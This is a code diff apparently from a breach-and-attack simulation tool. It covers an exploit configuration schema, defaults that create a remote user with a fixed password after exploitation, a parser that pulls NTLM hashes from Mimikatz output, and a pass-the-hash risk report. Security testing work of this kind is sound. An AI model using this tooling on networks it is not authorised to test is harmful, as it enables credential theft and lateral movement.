|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [],
|
||||||
|
"description": "List of LM hashes to use on exploits using credentials"
|
||||||
|
},
|
||||||
|
"exploit_ntlm_hash_list": {
|
||||||
|
"title": "Exploit NTLM hash list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [],
|
||||||
|
"description": "List of NTLM hashes to use on exploits using credentials"
|
||||||
|
},
|
||||||
|
"exploit_ssh_keys": {
|
||||||
|
"title": "SSH key pairs list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"default": [],
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"description": "List of SSH key pairs to use, when trying to ssh into servers"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"cnc": {
|
||||||
|
"title": "Monkey Island",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"servers": {
|
||||||
|
"title": "Servers",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"command_servers": {
|
||||||
|
"title": "Command servers",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"192.0.2.0:5000"
|
||||||
|
],
|
||||||
|
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
|
||||||
|
},
|
||||||
|
"internet_services": {
|
||||||
|
"title": "Internet services",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"monkey.guardicore.com",
|
||||||
|
"www.google.com"
|
||||||
|
],
|
||||||
|
"description":
|
||||||
|
"List of internet services to try and communicate with to determine internet"
|
||||||
|
" connectivity (use either ip or domain)"
|
||||||
|
},
|
||||||
|
"current_server": {
|
||||||
|
"title": "Current server",
|
||||||
|
"type": "string",
|
||||||
|
"default": "192.0.2.0:5000",
|
||||||
|
"description": "The current command server the monkey is communicating with"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"exploits": {
|
||||||
|
"title": "Exploits",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"general": {
|
||||||
|
"title": "General",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"exploiter_classes": {
|
||||||
|
"title": "Exploits",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"$ref": "#/definitions/exploiter_classes"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"SmbExploiter",
|
||||||
|
"WmiExploiter",
|
||||||
|
"SSHExploiter",
|
||||||
|
"ShellShockExploiter",
|
||||||
|
"SambaCryExploiter",
|
||||||
|
"ElasticGroovyExploiter",
|
||||||
|
"Struts2Exploiter",
|
||||||
|
"WebLogicExploiter",
|
||||||
|
"HadoopExploiter"
|
||||||
|
],
|
||||||
|
"description":
|
||||||
|
"Determines which exploits to use. " + WARNING_SIGN
|
||||||
|
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
|
||||||
|
},
|
||||||
|
"skip_exploit_if_file_exist": {
|
||||||
|
"title": "Skip exploit if file exists",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": False,
|
||||||
|
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
|
||||||
|
" is already on the remote machine"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"ms08_067": {
|
||||||
|
"title": "MS08_067",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"ms08_067_exploit_attempts": {
|
||||||
|
"title": "MS08_067 exploit attempts",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 5,
|
||||||
|
"description": "Number of attempts to exploit using MS08_067"
|
||||||
|
},
|
||||||
|
"user_to_add": {
|
||||||
|
"title": "Remote user",
|
||||||
|
"type": "string",
|
||||||
|
"default": "Monkey_IUSER_SUPPORT",
|
||||||
|
"description": "Username to add on successful exploit"
|
||||||
|
},
|
||||||
|
"remote_user_pass": {
|
||||||
|
"title": "Remote user password",
|
||||||
|
"type": "string",
|
||||||
|
"default": "Password1!",
|
||||||
|
"description": "Password to use for created user"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"rdp_grinder": {
|
||||||
|
"title": "RDP grinder",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"rdp_use_vbs_download": {
|
||||||
|
"title": "Use VBS download",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
|
||||||
|
" (true=VBS, false=BITS)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"sambacry": {
|
||||||
|
"title": "SambaCry",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"sambacry_trigger_timeout": {
|
||||||
|
"title": "SambaCry trigger timeout",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 5,
|
||||||
|
"description": "Timeout (in seconds) of SambaCry trigger"
|
||||||
|
},
|
||||||
|
"sambacry_folder_paths_to_guess": {
|
||||||
|
"title": "SambaCry folder paths to guess",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
'/',
|
||||||
|
'/mnt',
|
||||||
|
'/tmp',
|
||||||
|
'/storage',
|
||||||
|
'/export',
|
||||||
|
'/share',
|
||||||
|
'/shares',
|
||||||
|
'/home'
|
||||||
|
],
|
||||||
|
"description": "List of full paths to share folder for SambaCry to guess"
|
||||||
|
},
|
||||||
|
"sambacry_shares_not_to_check": {
|
||||||
|
"title": "SambaCry shares not to check",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"IPC$", "print$"
|
||||||
|
],
|
||||||
|
"description": "These shares won't be checked when exploiting with SambaCry"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"smb_service": {
|
||||||
|
"title": "SMB service",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"smb_download_timeout": {
|
||||||
|
"title": "SMB download timeout",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 300,
|
||||||
|
"description":
|
||||||
|
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
|
||||||
|
},
|
||||||
|
"smb_service_name": {
|
||||||
|
"title": "SMB service name",
|
||||||
|
"type": "string",
|
||||||
|
"default": "InfectionMonkey",
|
||||||
|
"description": "Name of the SMB service that will be set up to download monkey"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"network": {
|
||||||
|
"title": "Network",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"tcp_scanner": {
|
||||||
|
"title": "TCP scanner",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"HTTP_PORTS": {
|
||||||
|
"title": "HTTP ports",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "integer"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
80,
|
||||||
|
8080,
|
||||||
|
443,
|
||||||
|
8008,
|
||||||
|
7001
|
||||||
|
],
|
||||||
|
"description": "List of ports the monkey will check if are being used for HTTP"
|
||||||
|
},
|
||||||
|
"tcp_target_ports": {
|
||||||
|
"title": "TCP target ports",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "integer"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
22,
|
||||||
|
2222,
|
||||||
|
445,
|
||||||
|
135,
|
||||||
|
3389,
|
||||||
|
80,
|
||||||
|
8080,
|
||||||
|
443,
|
||||||
|
8008,
|
||||||
|
3306,
|
||||||
|
9200,
|
||||||
|
7001
|
||||||
|
],
|
||||||
|
"description": "List of TCP ports the monkey will check whether they're open"
|
||||||
|
},
|
||||||
|
"tcp_scan_interval": {
|
||||||
|
"title": "TCP scan interval",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 0,
|
||||||
|
"description": "Time to sleep (in milliseconds) between scans"
|
||||||
|
},
|
||||||
|
"tcp_scan_timeout": {
|
||||||
|
"title": "TCP scan timeout",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 3000,
|
||||||
|
"description": "Maximum time (in milliseconds) to wait for TCP response"
|
||||||
|
},
|
||||||
|
"tcp_scan_get_banner": {
|
||||||
|
"title": "TCP scan - get banner",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether the TCP scan should try to get the banner"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"ping_scanner": {
|
||||||
|
"title": "Ping scanner",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"ping_scan_timeout": {
|
||||||
|
"title": "Ping scan timeout",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 1000,
|
||||||
|
"description": "Maximum time (in milliseconds) to wait for ping response"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"options": {
|
||||||
|
"collapsed": True
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,6 @@
|
||||||
|
"""This file will include consts values regarding the groupsandusers collection"""
|
||||||
|
|
||||||
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
USERTYPE = 1
|
||||||
|
GROUPTYPE = 2
|
|
@ -0,0 +1,52 @@
|
||||||
|
|
||||||
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
||||||
|
class MimikatzSecrets(object):
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
# Static class
|
||||||
|
pass
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def extract_sam_secrets(mim_string, users_dict):
|
||||||
|
users_secrets = mim_string.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:]
|
||||||
|
|
||||||
|
if mim_string.count("\n42.") != 2:
|
||||||
|
return {}
|
||||||
|
|
||||||
|
for sam_user_txt in users_secrets:
|
||||||
|
sam_user = dict([map(unicode.strip, line.split(":")) for line in
|
||||||
|
filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())])
|
||||||
|
username = sam_user.get("User")
|
||||||
|
users_dict[username] = {}
|
||||||
|
|
||||||
|
ntlm = sam_user.get("NTLM")
|
||||||
|
if not ntlm or "[hashed secret]" not in ntlm:
|
||||||
|
continue
|
||||||
|
|
||||||
|
users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def extract_ntlm_secrets(mim_string, users_dict):
|
||||||
|
|
||||||
|
if mim_string.count("\n42.") != 2:
|
||||||
|
return {}
|
||||||
|
|
||||||
|
ntds_users = mim_string.split("\n42.")[2].split("\nRID :")[1:]
|
||||||
|
|
||||||
|
for ntds_user_txt in ntds_users:
|
||||||
|
user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip()
|
||||||
|
ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip()
|
||||||
|
ntlm = ntlm.replace("[hashed secret]", "").strip()
|
||||||
|
users_dict[user] = {}
|
||||||
|
if ntlm:
|
||||||
|
users_dict[user]['ntlm'] = ntlm
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def extract_secrets_from_mimikatz(mim_string):
|
||||||
|
users_dict = {}
|
||||||
|
MimikatzSecrets.extract_sam_secrets(mim_string, users_dict)
|
||||||
|
MimikatzSecrets.extract_ntlm_secrets(mim_string, users_dict)
|
||||||
|
|
||||||
|
return users_dict
|
|
@ -97,6 +97,11 @@ class NodeService:
|
||||||
def get_monkey_label_by_id(monkey_id):
|
def get_monkey_label_by_id(monkey_id):
|
||||||
return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id))
|
return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id))
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_monkey_critical_services(monkey_id):
|
||||||
|
critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', [])
|
||||||
|
return critical_services
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_monkey_label(monkey):
|
def get_monkey_label(monkey):
|
||||||
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
|
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
|
||||||
|
@ -320,3 +325,7 @@ class NodeService:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_node_hostname(node):
|
def get_node_hostname(node):
|
||||||
return node['hostname'] if 'hostname' in node else node['os']['version']
|
return node['hostname'] if 'hostname' in node else node['os']['version']
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_hostname_by_id(node_id):
|
||||||
|
return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1}))
|
||||||
|
|
|
@ -0,0 +1,285 @@
|
||||||
|
from itertools import product
|
||||||
|
|
||||||
|
from cc.database import mongo
|
||||||
|
from bson import ObjectId
|
||||||
|
|
||||||
|
from cc.services.groups_and_users_consts import USERTYPE
|
||||||
|
from cc.services.node import NodeService
|
||||||
|
|
||||||
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
||||||
|
class PTHReportService(object):
|
||||||
|
"""
|
||||||
|
A static class supplying utils to produce a report based on the PTH related information
|
||||||
|
gathered via mimikatz and wmi.
|
||||||
|
"""
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def __dup_passwords_mongoquery():
|
||||||
|
"""
|
||||||
|
This function builds and queries the mongoDB for users that are using the same passwords. this is done
|
||||||
|
by comparing the NTLM hash found for each user by mimikatz.
|
||||||
|
:return:
|
||||||
|
A list of mongo documents (dicts in python) that look like this:
|
||||||
|
{
|
||||||
|
'_id': The NTLM hash,
|
||||||
|
'count': How many users share it.
|
||||||
|
'Docs': the name, domain name, _Id, and machine_id of the users
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
pipeline = [
|
||||||
|
{"$match": {
|
||||||
|
'NTLM_secret': {
|
||||||
|
"$exists": "true", "$ne": None}
|
||||||
|
}},
|
||||||
|
{
|
||||||
|
"$group": {
|
||||||
|
"_id": {
|
||||||
|
"NTLM_secret": "$NTLM_secret"},
|
||||||
|
"count": {"$sum": 1},
|
||||||
|
"Docs": {"$push": {'_id': "$_id", 'name': '$name', 'domain_name': '$domain_name',
|
||||||
|
'machine_id': '$machine_id'}}
|
||||||
|
}},
|
||||||
|
{'$match': {'count': {'$gt': 1}}}
|
||||||
|
]
|
||||||
|
return mongo.db.groupsandusers.aggregate(pipeline)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def __get_admin_on_machines_format(admin_on_machines, domain_name):
|
||||||
|
"""
|
||||||
|
This function finds for each admin user, which machines its an admin of, and compile them to a list.
|
||||||
|
:param admin_on_machines: A list of "monkey" documents "_id"s
|
||||||
|
:param domain_name: The admins' domain name
|
||||||
|
:return:
|
||||||
|
A list of formatted machines names *domain*\*hostname*, to use in shared admins issues.
|
||||||
|
"""
|
||||||
|
machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1})
|
||||||
|
return [domain_name + '\\' + i['hostname'] for i in list(machines)]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def __strong_users_on_crit_query():
|
||||||
|
"""
|
||||||
|
This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hashes and
|
||||||
|
are administrators on machines with services predefined as important services thus making these machines
|
||||||
|
critical.
|
||||||
|
:return:
|
||||||
|
A list of said users
|
||||||
|
"""
|
||||||
|
pipeline = [
|
||||||
|
{
|
||||||
|
'$unwind': '$admin_on_machines'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'$match': {'type': USERTYPE, 'domain_name': {'$ne': None}}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'$lookup':
|
||||||
|
{
|
||||||
|
'from': 'monkey',
|
||||||
|
'localField': 'admin_on_machines',
|
||||||
|
'foreignField': '_id',
|
||||||
|
'as': 'critical_machine'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'$match': {'critical_machine.critical_services': {'$ne': []}}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'$unwind': '$critical_machine'
|
||||||
|
}
|
||||||
|
]
|
||||||
|
return mongo.db.groupsandusers.aggregate(pipeline)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def __build_dup_user_label(i):
|
||||||
|
return i['hostname'] + '\\' + i['username'] if i['hostname'] else i['domain_name'] + '\\' + i['username']
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_duplicated_passwords_nodes():
|
||||||
|
users_cred_groups = []
|
||||||
|
docs = PTHReportService.__dup_passwords_mongoquery()
|
||||||
|
for doc in docs:
|
||||||
|
users_list = [
|
||||||
|
{
|
||||||
|
'username': user['name'],
|
||||||
|
'domain_name': user['domain_name'],
|
||||||
|
'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if user['machine_id'] else None
|
||||||
|
} for user in doc['Docs']
|
||||||
|
]
|
||||||
|
users_cred_groups.append({'cred_groups': users_list})
|
||||||
|
|
||||||
|
return users_cred_groups
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_duplicated_passwords_issues():
|
||||||
|
user_groups = PTHReportService.get_duplicated_passwords_nodes()
|
||||||
|
issues = []
|
||||||
|
for group in user_groups:
|
||||||
|
user_info = group['cred_groups'][0]
|
||||||
|
issues.append(
|
||||||
|
{
|
||||||
|
'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords',
|
||||||
|
'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'],
|
||||||
|
'shared_with': [PTHReportService.__build_dup_user_label(i) for i in group['cred_groups']],
|
||||||
|
'is_local': False if user_info['domain_name'] else True
|
||||||
|
}
|
||||||
|
)
|
||||||
|
return issues
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_shared_admins_nodes():
|
||||||
|
|
||||||
|
# This mongo queries users the best solution to figure out if an array
|
||||||
|
# object has at least two objects in it, by making sure any value exists in the array index 1.
|
||||||
|
# Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account
|
||||||
|
# is shared.
|
||||||
|
admins = mongo.db.groupsandusers.find({'type': USERTYPE, 'name': {'$ne': 'Administrator'},
|
||||||
|
'admin_on_machines.1': {'$exists': True}},
|
||||||
|
{'admin_on_machines': 1, 'name': 1, 'domain_name': 1})
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
'name': admin['name'],
|
||||||
|
'domain_name': admin['domain_name'],
|
||||||
|
'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name'])
|
||||||
|
} for admin in admins
|
||||||
|
]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_shared_admins_issues():
|
||||||
|
admins_info = PTHReportService.get_shared_admins_nodes()
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
'is_local': False,
|
||||||
|
'type': 'shared_admins_domain',
|
||||||
|
'machine': admin['domain_name'],
|
||||||
|
'username': admin['domain_name'] + '\\' + admin['name'],
|
||||||
|
'shared_machines': admin['admin_on_machines'],
|
||||||
|
}
|
||||||
|
for admin in admins_info]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_strong_users_on_critical_machines_nodes():
|
||||||
|
|
||||||
|
crit_machines = {}
|
||||||
|
docs = PTHReportService.__strong_users_on_crit_query()
|
||||||
|
|
||||||
|
for doc in docs:
|
||||||
|
hostname = str(doc['critical_machine']['hostname'])
|
||||||
|
if hostname not in crit_machines:
|
||||||
|
crit_machines[hostname] = {
|
||||||
|
'threatening_users': [],
|
||||||
|
'critical_services': doc['critical_machine']['critical_services']
|
||||||
|
}
|
||||||
|
crit_machines[hostname]['threatening_users'].append(
|
||||||
|
{'name': str(doc['domain_name']) + '\\' + str(doc['name']),
|
||||||
|
'creds_location': doc['secret_location']})
|
||||||
|
return crit_machines
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_strong_users_on_crit_issues():
|
||||||
|
crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes()
|
||||||
|
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
'type': 'strong_users_on_crit',
|
||||||
|
'machine': machine,
|
||||||
|
'services': crit_machines[machine].get('critical_services'),
|
||||||
|
'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']]
|
||||||
|
} for machine in crit_machines
|
||||||
|
]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_strong_users_on_crit_details():
|
||||||
|
user_details = {}
|
||||||
|
crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes()
|
||||||
|
for machine in crit_machines:
|
||||||
|
for user in crit_machines[machine]['threatening_users']:
|
||||||
|
username = user['name']
|
||||||
|
if username not in user_details:
|
||||||
|
user_details[username] = {
|
||||||
|
'machines': [],
|
||||||
|
'services': []
|
||||||
|
}
|
||||||
|
user_details[username]['machines'].append(machine)
|
||||||
|
user_details[username]['services'] += crit_machines[machine]['critical_services']
|
||||||
|
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
'username': user,
|
||||||
|
'machines': user_details[user]['machines'],
|
||||||
|
'services_names': user_details[user]['services']
|
||||||
|
} for user in user_details
|
||||||
|
]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def generate_map_nodes():
|
||||||
|
monkeys = mongo.db.monkey.find({}, {'_id': 1, 'hostname': 1, 'critical_services': 1, 'ip_addresses': 1})
|
||||||
|
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
'id': monkey['_id'],
|
||||||
|
'label': '{0} : {1}'.format(monkey['hostname'], monkey['ip_addresses'][0]),
|
||||||
|
'group': 'critical' if monkey.get('critical_services', []) else 'normal',
|
||||||
|
'services': monkey.get('critical_services', []),
|
||||||
|
'hostname': monkey['hostname']
|
||||||
|
} for monkey in monkeys
|
||||||
|
]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def generate_edges():
|
||||||
|
edges_list = []
|
||||||
|
|
||||||
|
comp_users = mongo.db.groupsandusers.find(
|
||||||
|
{
|
||||||
|
'admin_on_machines': {'$ne': []},
|
||||||
|
'secret_location': {'$ne': []},
|
||||||
|
'type': USERTYPE
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'admin_on_machines': 1, 'secret_location': 1
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
for user in comp_users:
|
||||||
|
# A list comp, to get all unique pairs of attackers and victims.
|
||||||
|
for pair in [pair for pair in product(user['admin_on_machines'], user['secret_location'])
|
||||||
|
if pair[0] != pair[1]]:
|
||||||
|
edges_list.append(
|
||||||
|
{
|
||||||
|
'from': pair[1],
|
||||||
|
'to': pair[0],
|
||||||
|
'id': str(pair[1]) + str(pair[0])
|
||||||
|
}
|
||||||
|
)
|
||||||
|
return edges_list
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_pth_map():
|
||||||
|
return {
|
||||||
|
'nodes': PTHReportService.generate_map_nodes(),
|
||||||
|
'edges': PTHReportService.generate_edges()
|
||||||
|
}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_report():
|
||||||
|
pth_map = PTHReportService.get_pth_map()
|
||||||
|
PTHReportService.get_strong_users_on_critical_machines_nodes()
|
||||||
|
report = \
|
||||||
|
{
|
||||||
|
'report_info':
|
||||||
|
{
|
||||||
|
'strong_users_table': PTHReportService.get_strong_users_on_crit_details()
|
||||||
|
},
|
||||||
|
|
||||||
|
'pthmap':
|
||||||
|
{
|
||||||
|
'nodes': pth_map.get('nodes'),
|
||||||
|
'edges': pth_map.get('edges')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return report
|
||||||
|
|
|
@ -12,6 +12,7 @@ from cc.services.config import ConfigService
|
||||||
from cc.services.edge import EdgeService
|
from cc.services.edge import EdgeService
|
||||||
from cc.services.node import NodeService
|
from cc.services.node import NodeService
|
||||||
from cc.utils import local_ip_addresses, get_subnets
|
from cc.utils import local_ip_addresses, get_subnets
|
||||||
|
from pth_report import PTHReportService
|
||||||
from common.network.network_range import NetworkRange
|
from common.network.network_range import NetworkRange
|
||||||
|
|
||||||
__author__ = "itay.mizeretz"
|
__author__ = "itay.mizeretz"
|
||||||
|
@ -50,13 +51,16 @@ class ReportService:
|
||||||
AZURE = 6
|
AZURE = 6
|
||||||
STOLEN_SSH_KEYS = 7
|
STOLEN_SSH_KEYS = 7
|
||||||
STRUTS2 = 8
|
STRUTS2 = 8
|
||||||
WEBLOGIC = 9,
|
WEBLOGIC = 9
|
||||||
HADOOP = 10,
|
HADOOP = 10
|
||||||
MSSQL = 11
|
PTH_CRIT_SERVICES_ACCESS = 11,
|
||||||
|
MSSQL = 12
|
||||||
|
|
||||||
class WARNINGS_DICT(Enum):
|
class WARNINGS_DICT(Enum):
|
||||||
CROSS_SEGMENT = 0
|
CROSS_SEGMENT = 0
|
||||||
TUNNEL = 1
|
TUNNEL = 1
|
||||||
|
SHARED_LOCAL_ADMIN = 2
|
||||||
|
SHARED_PASSWORDS = 3
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_first_monkey_time():
|
def get_first_monkey_time():
|
||||||
|
@ -108,25 +112,28 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_scanned():
|
def get_scanned():
|
||||||
|
|
||||||
|
formatted_nodes = []
|
||||||
|
|
||||||
nodes = \
|
nodes = \
|
||||||
[NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \
|
[NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \
|
||||||
+ [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in
|
+ [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in
|
||||||
mongo.db.monkey.find({}, {'_id': 1})]
|
mongo.db.monkey.find({}, {'_id': 1})]
|
||||||
nodes = [
|
for node in nodes:
|
||||||
{
|
formatted_nodes.append(
|
||||||
'label': node['label'],
|
{
|
||||||
'ip_addresses': node['ip_addresses'],
|
'label': node['label'],
|
||||||
'accessible_from_nodes':
|
'ip_addresses': node['ip_addresses'],
|
||||||
(x['hostname'] for x in
|
'accessible_from_nodes':
|
||||||
(NodeService.get_displayed_node_by_id(edge['from'], True)
|
(x['hostname'] for x in
|
||||||
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))),
|
(NodeService.get_displayed_node_by_id(edge['from'], True)
|
||||||
'services': node['services']
|
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))),
|
||||||
}
|
'services': node['services']
|
||||||
for node in nodes]
|
})
|
||||||
|
|
||||||
logger.info('Scanned nodes generated for reporting')
|
logger.info('Scanned nodes generated for reporting')
|
||||||
|
|
||||||
return nodes
|
return formatted_nodes
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_exploited():
|
def get_exploited():
|
||||||
|
@ -165,13 +172,14 @@ class ReportService:
|
||||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||||
for user in monkey_creds:
|
for user in monkey_creds:
|
||||||
for pass_type in monkey_creds[user]:
|
for pass_type in monkey_creds[user]:
|
||||||
creds.append(
|
cred_row = \
|
||||||
{
|
{
|
||||||
'username': user.replace(',', '.'),
|
'username': user.replace(',', '.'),
|
||||||
'type': PASS_TYPE_DICT[pass_type],
|
'type': PASS_TYPE_DICT[pass_type],
|
||||||
'origin': origin
|
'origin': origin
|
||||||
}
|
}
|
||||||
)
|
if cred_row not in creds:
|
||||||
|
creds.append(cred_row)
|
||||||
logger.info('Stolen creds generated for reporting')
|
logger.info('Stolen creds generated for reporting')
|
||||||
return creds
|
return creds
|
||||||
|
|
||||||
|
@ -425,7 +433,7 @@ class ReportService:
|
||||||
ip_in_src = None
|
ip_in_src = None
|
||||||
ip_in_dst = None
|
ip_in_dst = None
|
||||||
for ip_addr in monkey['ip_addresses']:
|
for ip_addr in monkey['ip_addresses']:
|
||||||
if source_subnet_range.is_in_range(unicode(ip_addr)):
|
if source_subnet_range.is_in_range(text_type(ip_addr)):
|
||||||
ip_in_src = ip_addr
|
ip_in_src = ip_addr
|
||||||
break
|
break
|
||||||
|
|
||||||
|
@ -434,7 +442,7 @@ class ReportService:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for ip_addr in monkey['ip_addresses']:
|
for ip_addr in monkey['ip_addresses']:
|
||||||
if target_subnet_range.is_in_range(unicode(ip_addr)):
|
if target_subnet_range.is_in_range(text_type(ip_addr)):
|
||||||
ip_in_dst = ip_addr
|
ip_in_dst = ip_addr
|
||||||
break
|
break
|
||||||
|
|
||||||
|
